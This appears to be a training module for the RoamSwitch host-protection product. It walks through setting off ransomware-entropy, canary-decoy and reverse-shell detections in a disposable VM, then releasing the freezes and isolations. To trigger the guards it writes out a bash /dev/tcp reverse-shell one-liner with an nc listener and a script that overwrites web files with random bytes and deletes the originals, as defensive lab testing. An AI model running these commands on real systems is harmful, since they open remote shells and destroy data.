Setup and configuration

What to stop, and what to only report

Decide what to stop automatically and what to only report. Covers freezing a writer in a document root, why a high-confidence isolation does not open on a timer, and how to acknowledge and release it.

  • Level: Practice
  • About 50 min
  • 2026-11-12

#What to stop, and what to only report

Some RoamSwitch guards stop things on their own when they detect something. There are three steps: freeze the writing process, cut an account's traffic, or isolate the whole host. Stopping limits the damage. On a false positive, it stops your work instead.

In this module you set those guards off for real, in a disposable VM. For each one you check what you see afterwards and how to undo it. The features covered are Mass-encryption detection, Detection with decoy files, Kernel-level intrusion detection and autonomous isolation and Processes that containment never stops.

The policy lives in these keys of /etc/roamswitch/server.conf. A change to any of them takes effect after a restart (sudo roamswitch server restart).

KeyDefaultMeaning (from the notes in the settings file and the TUI)
entropy_watch_enabledtrueWatch the watched folders for writes that look like encryption
entropy_watch_freezefalseOnly when true, stop the writer with SIGSTOP
entropy_docroot_actionnotifyResponse in a web document root. freeze_writer stops a writer only when it is the web service
action_on_criticalisolateResponse to a Critical detection: isolate, freeze or alert_only
isolation_hard_cap_secs3600Seconds a high-confidence isolation stays full before it moves to degraded
preserve_ssh_on_isolationtrueKeep the SSH admin path open while the host is isolated
ssh_ports22SSH ports that stay open after an isolation
protected_processesemptyExtra processes automatic containment never stops
Read the current policy

This only reads. It changes nothing.

for k in entropy_watch_enabled entropy_watch_freeze entropy_docroot_action action_on_critical isolation_hard_cap_secs preserve_ssh_on_isolation ssh_ports protected_processes; do
  printf '%s = ' "$k"; sudo roamswitch server config get "$k"
done
ls /etc/roamswitch/guard.yaml
Output
entropy_watch_enabled = true
entropy_watch_freeze = false
entropy_docroot_action = notify
action_on_critical = isolate
isolation_hard_cap_secs = 3600
preserve_ssh_on_isolation = true
ssh_ports = 22
protected_processes = 
ls: cannot access '/etc/roamswitch/guard.yaml': No such file or directory

A fresh install has no guard.yaml. The notes in guard.yaml.example say that the daemon then builds an equivalent policy from action_on_critical. Create guard.yaml from the example only if you want a separate action per severity.

#Try the mass-encryption watch in notify-only mode

The entropy watch reads the head of each file written in a watched folder. When one process writes 20 files in 5 seconds whose content looks encrypted, it sends an alert. With entropy_watch_dirs empty, it watches the web server's document roots, /var/www and /srv, those that exist.

By default it only notifies. The writer keeps running.

Write many dummy files

Write 200 files of random bytes into /srv/appdata. admin is the user of this VM. Random bytes have high entropy, just like encrypted files. Nothing is really encrypted.

sudo mkdir -p /srv/appdata && sudo chown admin:admin /srv/appdata
cat > /tmp/fake-encrypt.sh <<'SH'
#!/bin/sh
# Practice only: write file after file of random bytes, which look like encrypted files
i=0
while [ $i -lt 200 ]; do
  i=$((i+1))
  head -c 16384 /dev/urandom > /srv/appdata/doc_$i.bin
  sleep 0.05
done
echo "wrote $i files"
SH
chmod +x /tmp/fake-encrypt.sh
/tmp/fake-encrypt.sh
sudo roamswitch notifications | sed -n 5,24p
Excerpt
wrote 200 files
  Files that look encrypted were written one after another in a watched folder
    🚨 One process wrote 20 files in a watched folder within 5 seconds, and their content looks encrypted (average entropy 7.99 bits per byte)
    Host: ubuntu (IP: 192.168.64.28)
    /srv/appdata/doc_1.bin
    /srv/appdata/doc_2.bin
    ... +10
    Action: Notification only (the process was not stopped). To stop the writer of such a burst automatically, set entropy_watch_freeze=true in /etc/roamswitch/server.conf and restart
    Process: admin / /usr/bin/dash / command: /bin/sh /tmp/fake-encrypt.sh (pid 9818)

All 200 files were written. The alert names the process and its command. "Action: Notification only" is the current policy.

#Freeze the writer, then release it

With entropy_watch_freeze=true, the same writes stop the writer with SIGSTOP. The notes in the settings file say this is off by default (opt-in).

Switch to freezing, then release

This changes a setting (it changes the machine). You put it back at the end.

sudo roamswitch server config set entropy_watch_freeze true
sudo roamswitch server restart
rm -f /srv/appdata/*
setsid -f /tmp/fake-encrypt.sh > /tmp/fake.log 2>&1
sleep 5
ls /srv/appdata | wc -l
sudo roamswitch frozen list
Excerpt
20
=====================================================
  ❄️ Frozen Processes
=====================================================

  PID 10494  fake-encrypt.sh
    Reason: Ransomware encryption burst
    Frozen at: 2026-11-12T02:15:39.589880407+00:00

  If it was a false positive: roamswitch frozen resume <PID>  (nothing was killed — it resumes where it stopped)

It stopped after 20 of the 200 files. The alert's "Action" now reads "The writing process was stopped (SIGSTOP)". A freeze also lasts through a restart of the daemon. A freeze is not a kill. Released, the process carries on from where it stopped.

sudo roamswitch frozen resume 10494
sleep 12
cat /tmp/fake.log
sudo roamswitch server config set entropy_watch_freeze false
sudo roamswitch server restart
Excerpt
  ✓ Released PID 10494 (SIGCONT) — it resumes exactly where it stopped.
wrote 200 files
  ✓ Server configuration updated and saved. (entropy_watch_freeze = false)

Once released, it wrote the rest.

The writer ran detached from the terminal

In this practice, setsid -f detached the writer from the terminal. A freeze also reaches the script that started the writer. An interactive login shell is never stopped. Whatever was stopped along with the writer shows in frozen list as stopped together with it.

In a document root, stop only a writer that is the web service

No decoy goes into a web document root, because anyone could fetch it from the web server. There, the entropy watch is the only guard. A document root also takes uploads, so it has its own key, entropy_docroot_action, apart from entropy_watch_freeze.

With freeze_writer, a writer is stopped only when both hold (notes in the settings file). At least 15 of the 20 files in 5 seconds replaced a file that was already there. The writer is a web server account such as www-data, or runs in a web server or PHP-FPM unit. A deploy run as root or through sudo is never stopped, and the host is not isolated.

This changes a setting and creates files (it changes the machine). This VM had no /var/www, so you create /var/www/html/site for the test. Created before the restart, /var/www joins the watched folders.

sudo mkdir -p /var/www/html/site
for i in $(seq 1 40); do yes "page $i: dummy html for practice" | head -c 8192 | sudo tee /var/www/html/site/page_$i.html > /dev/null; done
sudo chown -R www-data:www-data /var/www/html/site
sudo tee /opt/docroot-encrypt.py > /dev/null <<'PY'
# Practice only: replace the files of a document root with random bytes (.locked) and remove the originals
import os, sys, time
d = sys.argv[1]
for name in sorted(os.listdir(d)):
    if not name.endswith(".html"):
        continue
    src = os.path.join(d, name)
    with open(src + ".locked", "wb") as f:
        f.write(os.urandom(os.path.getsize(src)))
    os.remove(src)
    time.sleep(0.05)
print("done")
PY
sudo roamswitch server config set entropy_docroot_action freeze_writer
sudo roamswitch server restart
sudo systemd-run --unit=lab-web -p User=www-data python3 /opt/docroot-encrypt.py /var/www/html/site
sleep 8
ls /var/www/html/site | grep -c locked
sudo roamswitch frozen list
sudo roamswitch server ebpf | sed -n 5p
sudo roamswitch notifications | grep -m1 'Action:'
Excerpt
Running as unit: lab-web.service; invocation ID: cf81d5d4cd394371aa1a834de688b3ca
20
  PID 11717  python3
    Reason: Ransomware encryption burst
    Frozen at: 2026-11-12T02:16:29.523891021+00:00

  Current isolation: [Not isolated]
    Action: The writing process was stopped (SIGSTOP). If this is a false alarm, `roamswitch frozen resume 11717` continues it where it stopped

The www-data writer stopped after 20 of the 40 files. The host was not isolated. Back on the default notify, the same run replaced all 40 files and only sent an alert. Its "Action" line then points to entropy_docroot_action=freeze_writer as the way to stop it.

Put it back. Once released, the writer finishes the rest and exits. You can also stop it with sudo systemctl stop lab-web without releasing it first. On this VM that took 0.1 seconds, and the process left the frozen list.

sudo roamswitch frozen resume 11717
sudo roamswitch server config set entropy_docroot_action notify
sudo rm -rf /var/www /opt/docroot-encrypt.py
sudo roamswitch server restart

Protect the processes that must not stop

A database or a work queue must not stop on a false positive. Add it to protected_processes, and automatic containment never freezes or kills it. An entry by name counts only while the executable runs from a system location such as /usr.

sudo roamswitch server config set protected_processes socat
sudo roamswitch server allowlist test "RoamSwitch Reverse Shell" socat --exe /usr/bin/socat
sudo roamswitch server allowlist test "RoamSwitch Reverse Shell" socat --exe /tmp/socat
sudo roamswitch server config set protected_processes ""
Excerpt
  ✓ Freeze/kill protection: Protected (protected_processes in server.conf, by name). The guards never freeze or kill it.
  ✗ Freeze/kill protection: The name is on a protected list, but the executable is at /tmp/socat, outside the system locations, so it is not protected (this stops a renamed binary from inheriting it).

allowlist test runs nothing. A fake with the same name in /tmp is not protected. For software installed elsewhere, add its absolute path. Some processes, such as sshd and the package managers, are on a built-in list.

#Change the response to Critical detections with action_on_critical

action_on_critical sets how far the response to a Critical detection goes. Here you try it with the reverse-shell watch. That watch reads /proc every 2 seconds. A shell whose input and output are an outbound TCP connection becomes a Critical detection and follows this policy.

For practice, the other end runs inside the same VM. To count private addresses as outside, set reverse_shell_watch_include_private to true for now.

Compare notify-only, isolation and freezing

This changes settings and cuts an account's traffic (it changes the machine). You put it back at the end.

First, set alert_only (notify only). The sleep 1 gives nc time to start listening before the shell connects.

IP=$(hostname -I | awk '{print $1}')
sudo roamswitch server config set reverse_shell_watch_include_private true
sudo roamswitch server config set action_on_critical alert_only
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch server ebpf
pgrep -a -x bash
pkill -x nc
Excerpt
  Current isolation: [Not isolated]
  (snip)

  [Detected incidents]
   🚨 [2026-11-12T02:17:06.871693793+00:00] RoamSwitch Reverse Shell - Logged & Monitored (guard policy: no containment) (Process: bash)
   (snip)

12801 bash -i

The detection was recorded. The shell kept running. Stopping the other end (nc) ends the shell too.

Next, go back to the default isolate and do the same.

sudo roamswitch server config set action_on_critical isolate
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch server ebpf | sed -n 5,8p
pgrep -a -x bash; echo "bash rc=$?"
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
sudo curl -sS -m 5 -o /dev/null https://example.com; echo "curl(root) rc=$?"
Excerpt
  Current isolation: [Isolated: the traffic sent by the process's account]
  Isolated PIDs: [13146 (exited)]
  The isolated process (13146) has already ended. The rule that blocks its traffic covers all of the traffic sent by the process's account, so it stays. To lift it, run sudo roamswitch emergency-restore.
  Maintenance ports kept open: [22]
bash rc=1
curl: (6) Could not resolve host: example.com
curl(admin) rc=6
curl(root) rc=0

The shell was ended with SIGKILL. The alert's containment line names the real unit too: "Blocked the traffic sent by the account admin + SIGKILL". As the isolation line says, the block covers all outbound traffic of the account that ran the shell (admin). Root traffic still passes. The host as a whole is not isolated.

Lift the block. The output points to emergency-restore, but passing the isolated PID to frozen resume lifts it too. That leaves any host isolation and other frozen processes alone.

pkill -x nc
sudo roamswitch frozen resume 13146; echo "resume rc=$?"
sudo roamswitch server ebpf | sed -n 5p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
sudo roamswitch frozen resume 13146; echo "resume rc=$?"
Excerpt
  ✓ Also lifted the per-process network isolation for PID 13146.
resume rc=0
  Current isolation: [Not isolated]
curl(admin) rc=0
  PID 13146 is not a process RoamSwitch has frozen or cut off from the network. Nothing was done. roamswitch frozen lists the frozen processes.
resume rc=1

The shell had ended, and the block still came off. The second run has nothing left to lift, so it does nothing and exits with code 1.

Last, try freeze.

sudo roamswitch server config set action_on_critical freeze
sudo roamswitch server restart
setsid -f nc -lk "$IP" 4444 > /dev/null 2>&1 < /dev/null
sleep 1
setsid -f bash -c "exec bash -i >& /dev/tcp/$IP/4444 0>&1" > /dev/null 2>&1 < /dev/null
sleep 10
sudo roamswitch frozen list
ps -o pid,stat,cmd -C bash
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
Excerpt
  PID 13566  bash
    Reason: eBPF Runtime Guard
    Frozen at: 2026-11-12T02:17:40.157739821+00:00

  If it was a false positive: roamswitch frozen resume <PID>  (nothing was killed — it resumes where it stopped)

    PID STAT CMD
  13566 Ts   bash -i
curl: (6) Could not resolve host: example.com
curl(admin) rc=6

The shell stays, stopped (the T in STAT). The account's traffic is cut too. Release it and put the settings back.

sudo roamswitch frozen resume 13566; echo "resume rc=$?"
curl -sS -m 5 -o /dev/null https://example.com; echo "curl(admin) rc=$?"
pkill -x nc
sudo roamswitch server config set action_on_critical isolate
sudo roamswitch server config set reverse_shell_watch_include_private false
sudo roamswitch server restart
Excerpt
  ✓ Released PID 13566 (SIGCONT) — it resumes exactly where it stopped.
  ✓ Also lifted the per-process network isolation for PID 13566.
resume rc=0
curl(admin) rc=0
  ✓ Server configuration updated and saved. (action_on_critical = isolate)
  ✓ Server configuration updated and saved. (reverse_shell_watch_include_private = false)
  ✓ roamswitch-server service successfully restarted.

One frozen resume lifted both the freeze and the block. The output says "per-process", but what came off was the per-account block.

Stop automatically, or only report

The three values of action_on_critical, as they behaved in this VM.

ValueWhat happenedWhen it fits
isolate (default)Ended the shell with SIGKILL and cut that account's outbound trafficStopping the damage comes first, until someone on call arrives
freezeFroze the shell with SIGSTOP and cut that account's outbound traffic. frozen resume lifted bothYou want it stopped but kept, to look inside the process
alert_onlyRecorded and notified only. The shell kept runningA false positive must not stop your work, and a person always looks at once

The price of stopping is your work on a false positive. The block is per account, so other services running as the same account lose their traffic too. Running each service as its own account keeps what stops small.

If you choose notify-only, check first that alerts reach a person, with sudo roamswitch server test-notify. An alert that reaches no one protects nothing.

#Canary tampering and isolating the whole host

Detection with decoy files places decoy files and watches for changes. In this VM the decoys were in /var/lib/roamswitch/canary/, plus hidden files (.roamswitch_security_canary_do_not_delete.*) in /srv, /opt, /root and /etc/roamswitch.

On Server Edition, a changed decoy isolates the whole host (Air-Gap). In the source, this response does not depend on action_on_critical, and no key turns it off. The decoys are watched with inotify and checked as soon as they are written.

Change a decoy, then bring the host back

This cuts the whole host's traffic (it changes the machine). The SSH admin path stays, but always use a disposable environment.

sudo ls -a /srv
echo "practice" | sudo tee -a /srv/.roamswitch_security_canary_do_not_delete.xlsx > /dev/null
sleep 3
sudo roamswitch server ebpf | sed -n 5,6p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
sudo roamswitch notifications | sed -n 5,30p
Excerpt
appdata
.roamswitch_security_canary_do_not_delete.pdf
.roamswitch_security_canary_do_not_delete.xlsx
.roamswitch_security_canary_do_not_delete.zip
  Current isolation: [Isolated: host_with_maintenance_ssh]
  Maintenance ports kept open: [22]
curl: (28) Connection timed out after 5000 milliseconds
curl rc=28
  Ransomware Canary Tripped
    🚨 Ransomware canary file was Tampered / encrypted write
    Decoy: /srv/.roamswitch_security_canary_do_not_delete.xlsx
    Suspected process: tee (PID: 13932)
    Action: host Air-Gap isolated (the culprit process tee, PID 13932, had already exited, so it could not be frozen)
    Process: root / /usr/bin/tee / command: tee -a /srv/.roamswitch_security_canary_do_not_delete.xlsx (pid 13932) (The process had already exited, so this comes from the exec record made at 2026-11-12 02:17:50.)
    (snip)
  🚨 Ransomware canary tripped (host isolation imminent)
    (snip)
    This isolation is not lifted automatically when the process behind it exits. Check it, then release it with: sudo roamswitch emergency-restore. Without an acknowledgement it moves to degraded mode after the hard cap (60 min by default); while degraded, sudo roamswitch server ack releases it.

A decoy is checked as soon as it is written, so the host is isolated within the 3-second wait. Outbound traffic stopped. The tee that changed the decoy had already exited, so nothing was frozen. The last line of the alert sent just before the isolation says how to release it. During the isolation, work went on through tart exec (the VM's management path).

Check that SSH is still open, from the Mac that runs the VM.

nc -z -G 3 192.168.64.28 22
Output
Connection to 192.168.64.28 port 22 [tcp/ssh] succeeded!

Port 22 stays open, as preserve_ssh_on_isolation=true and ssh_ports=22 say.

The tee has exited. Wait a little over 6 minutes and check that the isolation does not open on its own.

sleep 380
sudo roamswitch server ebpf | sed -n 5,6p
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
Output
  Current isolation: [Isolated: host_with_maintenance_ssh]
  Maintenance ports kept open: [22]
curl: (28) Resolving timed out after 5003 milliseconds
curl rc=28

The culprit process had ended, and the isolation still held. For a high-confidence isolation, an ended process does not count as the cause being gone.

Acknowledge it (server ack), then lift it with emergency-restore. The cause could not be confirmed gone, so emergency-restore asks you to type RESTORE.

sudo roamswitch server ack
sudo roamswitch emergency-restore
sudo roamswitch server ebpf | sed -n 5p
sudo roamswitch server restart
sleep 10
curl -sS -m 5 -o /dev/null https://example.com; echo "curl rc=$?"
Excerpt
  ✓ Acknowledged the current isolation (388s old). While acknowledged it will not auto-degrade or auto-restore; the current isolation stays in place.
  To lift it: sudo roamswitch emergency-restore
  Current state:
    Isolated (trigger: ransomware decoy file tampering, phase: full)

  ⚠️ It could not be confirmed that the cause of the isolation is gone. If it remains, putting the network back now restarts traffic while it is still affected.
  To continue, type RESTORE:
  🔄 Lifting all emergency isolation and restoring network baseline...
    ✓ Isolation records
    ✓ Firewall tables that can stop traffic
    ✓ DNS settings
    ✓ Connection tracking
  These firewall tables were left as they are, as they are not an isolation:
    - roamswitch_server: the server's inbound rules (only ssh_ports and allowed_ports are let in; the usual protection)
  ✓ The network was recovered.
  (snip)
  Current isolation: [Not isolated]
  🔄 Restarting roamswitch-server service...
  ✓ roamswitch-server service successfully restarted.

curl rc=0

Typing RESTORE at the prompt lifted the isolation, and outbound traffic passed after the restart. Answering no printed "Cancelled. Nothing was changed." and exited with code 1. Without a terminal, it prints "Not running without a terminal" and exits with code 2. To lift it there, add --force. The restart puts the usual protection rules back in place.

With no acknowledgement, it moves to degraded after the cap

An isolation with no acknowledgement moves to degraded (DEGRADED) after isolation_hard_cap_secs (3600 seconds by default). Degraded still lets through only the SSH admin ports and traffic to whitelist_ips. In this VM the cap was set to 120 and the same decoy change was repeated (this changes the machine; the cap was set back to 3600 at the end).

Excerpt (waiting with isolation_hard_cap_secs=120)
  Current isolation: [Isolated: host_degraded]
  Maintenance ports kept open: [22]
curl: (28) Resolving timed out after 5001 milliseconds
curl rc=28
  🛡️ Isolation moved to degraded mode
    The host isolation caused by ransomware decoy file tampering (PID 16159 / /srv/.roamswitch_security_canary_do_not_delete.xlsx) stayed in place for 2 min without an acknowledgement. For safety, traffic was NOT restored: the host moved to a degraded mode (only the maintenance SSH ports / whitelisted IPs and already-established connections are allowed; new outbound traffic only to whitelisted IPs). It is not lifted automatically, neither with time nor when the process behind it exits.
    To acknowledge and release it: sudo roamswitch server ack (acknowledging while degraded releases it), or sudo roamswitch emergency-restore
  ✓ Acknowledged the degraded isolation (205s old). The daemon will lift it and restore connectivity within ~15s.

After the move to degraded, outbound traffic was still cut. During degraded, server ack lifts the isolation. During a full isolation, server ack keeps it. The same command does different things, so check the current phase with server ebpf before you run it.

Do not close your own admin path during an isolation

If ssh_ports differs from the port sshd really uses, or preserve_ssh_on_isolation=false, you cannot get in after an isolation. Also, with whitelist_ips empty, port 22 of an isolated host is reachable from any address (the daemon logs a warning). If your admin addresses are known, list them in whitelist_ips.

#What you cannot see

What was checked in this VM, and how far
  • The entropy watch trusts some writers. The same writes made with python3 raised no alert. The source notes say files that python3, openssl or gpg create do not count on their own. They count when the originals are removed as well
  • Up to 20 files get written. The freeze comes after the 20th file is counted. In this VM, 20 files were written before the freeze, in /srv and in the document root alike
  • Only the watched folders are watched. With entropy_watch_dirs empty, only the default folders that exist are watched. In this VM that was /srv alone, and /var/www joined after it was created and the daemon restarted (daemon log)
  • A per-account block is lifted with sudo roamswitch frozen resume <PID>, even after the process has ended. The server ebpf output points to emergency-restore, which lifts every emergency rule, a host isolation included
  • Only low-confidence isolations open on their own. Of low_secs=300 hard_cap_secs=3600 in the daemon log, the 300 seconds apply to low-confidence isolations (source notes). A decoy change did not open after more than 6 minutes in this VM, and moved to degraded after the cap
Check yourself

On a server where entropy_watch_freeze was never changed, many files that look encrypted are written to a watched folder. What happens?

Show the explanation

entropy_watch_freeze defaults to false. To stop the writer, set it to true and restart. A stopped writer appears in roamswitch frozen list, and roamswitch frozen resume <PID> lets it continue.

Check yourself

A decoy change has isolated the host. The process that changed it has already exited. What happens if you send no acknowledgement?

Show the explanation

A high-confidence isolation does not open just because the culprit process ended. After the cap (60 minutes by default) it moves to degraded, and during degraded server ack lifts it. To keep it full, send server ack before the cap.

#What to learn next

Features covered

Related techniques (ATT&CK): T1486 T1685

What was verified

Verified on 2026-11-12. Target: Linux 1.17.39. On a disposable Ubuntu 24.04 VM with the published 1.17.39, freezing and releasing, freeze_writer and notify in a document root, systemctl stop on a frozen unit, the three values of action_on_critical, and decoy isolation (isolated within 3 seconds, still closed after more than 6 minutes, degraded with a 120-second cap, RESTORE and no at a terminal, the exit code without one) were run in Japanese and English.

Command output varies with the product version and the environment. If yours differs, check the version first.